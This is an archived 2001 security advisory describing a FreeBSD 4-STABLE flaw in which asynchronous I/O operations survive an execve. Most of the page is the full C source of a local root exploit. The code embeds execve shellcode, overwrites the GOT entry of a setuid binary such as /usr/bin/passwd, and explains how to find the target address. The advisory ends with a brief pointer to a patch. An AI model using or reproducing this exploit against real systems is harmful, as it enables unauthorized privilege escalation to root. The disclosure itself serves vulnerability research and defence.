TUCoPS :: BSD :: bsd4915.htm

AIO priviledge elevation
11th Dec 2001 [SBWID-4915]
COMMAND

	AIO priviledge elevation

SYSTEMS AFFECTED

	FreeBSD 4-STABLE upto at least 28/10/01

PROBLEM

	David       Rufino        in        Soniq        Security        Advisor
	[http://elysium.soniq.net/dr/tao/tao.html] :
	

	AIO is a POSIX standard for asynchronous I/O. Under certain  conditions,
	scheduled AIO operations persist after  an  execve,  allowing  arbitrary
	overwrites  in  the  memory  of  the  new  process.  Combined  with  the
	permission  to  execute  suid  binaries,   this   can   yield   elevated
	priviledges. Currently VFS_AIO is not enabled  in  the  default  FreeBSD
	kernel config, however comments in ``LINT\'\'  suggest  security  issues
	have been known about privately for some time:
	

	# Use  real  implementations  of  the  aio_*  system  calls.  There  are
	numerous # stability issues  in  the  current  aio  code  that  make  it
	unsuitable for # inclusion on shell boxes.
	

	The type of file descriptor used for the  AIO  operation  is  important.
	For instance operations on  pipes  will  not  complete  fully  after  an
	execve, whereas operations on sockets will. It is not known whether  AIO
	operations on hard disk files persist in the desired manner.
	

	Exploit below (credit : David Rufino)
	

	 

	/* tao - FreeBSD Local AIO Exploit

	 * 

	 * http://elysium.soniq.net/dr/tao/tao.html

	 *

	 * 4.4-STABLE is vulnerable up to at least 28th October.

	 *

	 * (C) David Rufino <dr@soniq.net> 2001

	 * All Rights Reserved.

	 *

	 ***************************************************************************

	 * bug found 13/07/01

	 *

	 * Any scheduled AIO read/writes will generally persist through an execve.

	 *

	 * \"options VFS_AIO\" must be in your kernel config, which is not enabled

	 * by default.

	 *

	 * It may be interesting to note that the FreeBSD team have known about this

	 * bug for a long time. Just take a look at \'LINT\'.

	 *

	 * get the GOT address of exit, from any suid bin, by doing:

	 * $ objdump --dynamic-reloc bin | grep exit

	 */

	

	#include <stdio.h>

	#include <stdlib.h>

	#include <sys/types.h>

	#include <sys/socket.h>

	#include <unistd.h>

	#include <aio.h>

	

	char code[]=

		\"\\x31\\xc0\\x50\\x50\\xb0\\x17\\xcd\\x80\"

		\"\\x6a\\x3b\\x58\\x99\\x52\\x89\\xe3\\x68\\x6e\\x2f\\x73\\x68\"

		\"\\x68\\x2f\\x2f\\x62\\x69\\x60\\x5e\\x5e\\xcd\\x80\";

	

	unsigned long GOT = 0x0804fe20;

	char *execbin = \"/usr/bin/passwd\";

	

	int

	main (argc, argv)

		int			argc;

		char			**argv;

	{

		int			fds[2], sdf[2];

		struct aiocb		cb, cb2;

		char			buf[128], d;

	

		if ((d = getopt (argc, argv, \"g:e:\")) != -1) {

			switch (d) {

			case \'g\':

				GOT = strtoul (optarg, NULL, 16);

				break;

			case \'e\':

				execbin = optarg;

				break;

			}

		}

	

		printf (\"got address: %08lx\\n\", GOT);

		printf (\"executable: %s\\n\", execbin);

		/*

		 * pipes are treated differently to sockets, with sockets the

		 * aiod gets notifyed, whereas with pipes the aiod starts

		 * immediately blocking in fo_read. This is a problem because

		 * after the execve the aiod is still using the old vmspace struct

		 * if you use pipes, which means the data doesnt actually get copied

		 */

		if (socketpair (AF_UNIX, SOCK_STREAM, 0, fds) < 0) {

			perror (\"socketpair\");

			return (EXIT_FAILURE);

		}

	

		if (socketpair (AF_UNIX, SOCK_STREAM, 0, sdf) < 0) {

			perror (\"socketpair\");

			return (EXIT_FAILURE);

		}

	

		if (fork() != 0) {

			close (fds[0]);

			close (sdf[0]);

			memset (&cb, 0, sizeof(cb));

			memset (&cb2, 0, sizeof(cb2));

			cb.aio_fildes = fds[1];

			cb.aio_offset = 0;

			cb.aio_buf = (void *)GOT;

			cb.aio_nbytes = 4;

			cb.aio_sigevent.sigev_notify = SIGEV_NONE;

	

			cb2.aio_fildes = sdf[1];

			cb2.aio_offset = 0;

			cb2.aio_buf = (void *)0xbfbfff80;

			cb2.aio_nbytes = sizeof(code);

			cb2.aio_sigevent.sigev_notify = SIGEV_NONE;

			if (aio_read (&cb2) < 0) {

				perror (\"aio_read\");

				return (EXIT_FAILURE);

			}

			if (aio_read (&cb) < 0) {

				perror (\"aio_read\");

				return (EXIT_FAILURE);

			}

			execl (execbin, \"test\", NULL);

		} else {

			close(fds[1]);

			close(sdf[1]);

			sleep(2);

			printf (\"writing\\n\");

			write (sdf[0], code, sizeof(code));

			*(unsigned int *)buf = 0xbfbfff80;

			write (fds[0], buf, 4);

		}

		return (EXIT_SUCCESS);

	}

	

	/*

	 * vim: ts=8

	 */ 

	

	

SOLUTION

	Currently there are no known patches  to  remove  all  security  issues.
	However a patch is available to limit the use of AIO  syscalls  to  root
	at http://elysium.soniq.net/dr/tao/patch-01

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH